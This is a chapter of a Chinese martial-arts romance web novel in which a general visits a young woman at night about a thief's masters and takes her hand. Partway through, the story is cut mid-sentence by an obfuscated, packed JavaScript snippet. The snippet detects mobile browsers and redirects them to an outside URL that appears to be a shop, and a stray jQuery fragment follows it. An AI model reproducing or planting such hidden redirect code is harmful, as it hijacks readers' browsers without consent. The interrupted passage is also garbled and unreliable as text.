万书库 > 其他小说 > 西海无刀 > 29. 握手
    那个叫乞丐擒住的巡捕被人从旧庙里头搀出来时,收到了不少同僚的笑话,大家伙儿也不顾他受了伤,一个个巴掌拍在他前胸后背肩膀头,“老弟啊,这丐帮棍法什么滋味啊?!哈哈哈哈哈!合刺史府上下,可只有你尝过啊!”


    但好赖他没有猜错,那旧庙里的确有暗道。


    章大人说,若非他此番莽撞,刺史府还不知道要等到什么时候才能清理了这丐帮的巢穴呢。他也挨了顿打,此次算他立功一件,其他就不多追究了。


    旧庙内的暗道已经被闷炮炸塌了,硬要去通实在危险,朱大人差人去请了些本地的工匠,带着定西军的一队将士边通边修,又有一队人在周围地界勘查,尝试找到暗道的终点。


    此处须得彻夜挖掘、不能停工,勒小荣留守工事,章怀昭跟着那队一个栓着一个的乞丐先回了刺史府。回府前将军还嘱咐小荣,说他躺了两天刚下床,在此处只需照看,不必跟着挖土。


    刚一到了刺史府,还没下马,勒小春就迎上前来,给章怀昭递上一个帖子:“将军,这是韦府的纯钧小姐差人送来的帖子,午后到的,等着您看呢。”


    他没料到韦纯钧会送帖子来,瞬时心里一颤,耳朵一下就烫了起来,细一思忖,竟不知道自己期待的究竟是什么——是希望她如实告诉自己前夜里韦府发生的事,还是……


    翻身下马,叫小春牵了缰绳,章怀昭避开人看了帖子。原来帖子上写的,是她如何知晓那正气道前辈的身份的事。那日没追到的、劫走燕子神偷的正气道前辈,是江中仙月百崇子。


    章怀昭一下五味杂陈,心说她终归没告诉自己昨夜里韦府发生的事——但她既然愿意给自己一道消息,可见如有能帮得上自己的,她是愿意相帮的!


    想到此处,虽闻暮鼓传来,章怀昭却也不管了。招呼了在初春天气里忙到湿透了衣衫的朱大人,叫他安排好地牢,从小春手里抽出缰绳,立刻骑上马往韦府去。


    小春看着将军疾驰而去的马屁股,撇了撇嘴,耸起肩,一脸得意。她虽不知那帖子里写了什么,却在收到帖子的时候,就料到了将军看完帖子一定会去韦府,“亏得刚才没把马送回马厩去,不然还得麻烦我再把马牵出来。”


    一路驰去,天光渐暗,到了韦府所在的巷口时,天已经完全黑了。章怀昭停下了马,望着巷子里韦府门上的灯笼,一双猫眼睛眯起来,深吸一口气,下地牵马。


    缓步走到韦府门口,借着光亮,章怀昭猛然反应过来,自己今日忙了一通,袍子上已经全是尘土了。


    这是件粗布袍子,没有花色,颜色也不鲜亮,章怀昭想拍拍身上的尘土,但周围太静了,一拍起来,他总觉得惊雷一般的震天响,就不好意思拍了。


    又用袖子抹一抹胸前的尘土,但这不是从前在章府里穿的绸袍子,一抹开,胸前就更脏了。


    章怀昭抬起眉毛叹了口气,打算放过自己,“这么暗,人家大概不会注意吧。”


    上前一步站到台阶上,猫眼睛转起来,他心里盘算着要怎么跟门缝里的家仆说自己是谁,怎么让人家给自己进门。


    这么好一番盘算,章怀昭又深吸一气,才终于抬手叩了叩韦府那扇乌色的大门。


    门一下开了半扇,开门的,正是他想要见的韦纯钧。


    韦府门外的灯被夜间的微风吹得忽明忽暗,韦纯钧那双潭水一样的眼睛也被微风吹得忽明忽暗。


    猝然对视,两人似乎都定住了。章怀昭觉得自己好像溺在了深潭里,一下忘记了呼吸;对面韦纯钧似乎翘首以盼的模样,胸口起伏,轻喘着气。


    就那么静了几阵风,韦纯钧先开口:“章大人,夜间到访,请问是为何事呀?”


    她一只手藏在门后面,用指甲一下一下抠着门锁上的铜环。


    “哦!”章怀昭一下回过了神来,吸了一口气,“哦!纯钧姑娘,我是……我是因为收到了您送来刺史府的帖子,所以特地来问一问您。”


    “哦——章大人看了那个帖子?”韦纯钧揣着明白装糊涂,反问一句。


    “当然当然,小春特地候在门口,等我一回府,就给我看那个帖子呢。”章怀昭身体向前倾着,手扶在门框上,“我一看就知道是要紧的,立刻就过来找您啦。”


    韦纯钧听他这话,歪着头抬起了眉毛,嘴角带着点笑意,红杏似的嘴儿变成了一片花瓣:“可我要说的,帖子里都说完了呀!我们照着那解腕尖刀查了家里留下的吴山器谱,这尖刀出世后的第一个主人,就是正气道的那位江湖人称江中仙月的百崇子前辈。师父也说她从前曾听闻这位前辈与北蛮人来往的事情,照年纪也是对得上,可见那日救走燕子神偷的,就是他的师父百崇子没错了。”


    章怀昭听完纯钧所说,没有接话,“这么说,那把解腕尖刀多年以来从未易主,这位江中仙月百崇子,其实是那燕子神偷的师父,是么?”


    …………


    纯钧藏在门后的手拽住了门锁上的铜环,视线从章怀昭的眼睛挪到了他的嘴,又一直往下移,直到盯着他今日被砖石磨破的,还带着尘土的手。


    微不可查地轻叹一口气,韦纯钧开口:“那燕子神偷脚下显然是用的正气道轻功,而且还用得极好,虚气实用,脚下像踩着云朵一样,若不是由正气道门人亲自传授,哪里能在这西海之地练出这样精妙的轻功?


    我同师父细讲了那夜的情形,师父说,那燕子神偷手上操使弯刀的武功,应该是北蛮的祁连十三掌。而那个以铁索为兵器的老前辈,除了北蛮王室的摩卢赞普之外,没有别的可能。


    恐怕……不光百崇子前辈是他师父,那位北蛮的摩卢赞普前辈,大约也教了他武功呢。”


    这些消息章怀昭早就知道,此时由韦纯钧说出来,还说得如此得有理有据、合情合理,这让章怀昭的心一下不知该安放在何处。


    沉吟着没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553368|204392||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有说话,章怀昭将手背在身后,竟不自觉退到台阶下来回踱了两步,似乎在作什么考虑。韦纯钧的眼神跟着他来回走,咬了咬唇瓣,接上自己的话:“只是这些,全都是师父的推测,如若都恰好与实情相合,我想以章大人的才具,肯定也早就查到了,或者知道得比我们更加清楚明白……”


    章怀昭回头看向纯钧,身子却没转过来。纯钧的小半个身子掩在门后面,另一半,被韦府门前的灯笼照着。这一会儿,章怀昭才终于好好看了看纯钧的样子——


    她头上没有梳本地女孩儿常梳的双垂髻,而是反绾着头发,向后梳了一个单髻,这是方便练功的样式。身上是一件白玉色的丝绸夹衫,圆领窄袖,干净鲜亮,却显然是在屋里穿的衣服。


    章怀昭又看向纯钧躲在袖子里的拳头,知道她已有些冻了。


    将身子转向纯钧,章怀昭与那门后的人四目相对,灯笼的晕光将两双眼睛连在一起。


    大步走上台阶,章怀昭抿着嘴,伸手握住了纯钧腰间的拳头,“的确是冻。”章怀昭在心里说。


    韦纯钧毫无预料的突然被人握住了手,猛吸一口气,一下停住了呼吸。不由自主的,竟将拳头松开,与他手心相对握在了一起。章怀昭的手被厚茧盖着,糙得好似煅刀时用的锉子,刮着纯钧的手指头。


    两人的心口具是咚咚的跳起来,一下一下撞着寿昌初春的夜风。


    “今日,刺史府巡捕找到了那摩卢赞普的踪迹,就在图灵寺后面的旧庙里,那个丐帮的巢穴。”不知何故,章怀昭开始讲起今日发生的事情。“只是那旧庙里还有密道,他从那里离开后,密道也被炸塌了,我们没法去追他。”


    说到此处,章怀昭立刻察觉到韦纯钧将手握紧了些,他自己立刻也握紧了手。纯钧的几根手指头,一下挤在了他的手心里。


    “朱大人今日忙得没喝一口水,不光要搜找那燕子神偷的所在,午后还要去图灵寺抓乞丐。我过来时,他正在刺史府将那些乞丐安排进地牢里。眼下这会儿,朱大人恐怕更是忙得脚不沾地呢。”


    “朱大人从前做肃州副都督,官衔虽高,却是个虚职,如今做县令,看着位阶低了不少,却掌管着寿昌县的钱粮民政。能为百姓做些实事,这才算是合了他的志向呢。当初那北蛮府两派相争,最后拱手让出肃州,似乎也有朱大人的功劳呢。”


    “是啊,当初促成那不费一兵一卒光复肃州的局面的,有许多人的功劳。朱大人和您父亲韦闻九大师周旋于北蛮刺史府的各方势力中,是帮了定西军和肃州百姓的功臣。韦大师因着常年斡旋于北蛮氏族中而在本地北蛮官场中获得了好名声,却从没有包庇过那些与他面上交好的北蛮人。”


    纯钧听他说了这话,心里一下不是滋味,不知该要如何回答。章怀昭从手心里觉察到她微微一颤,悄悄用拇指摩了摩她的手背。


    “纯钧姑娘,你知道那燕子神偷其实是谁么?”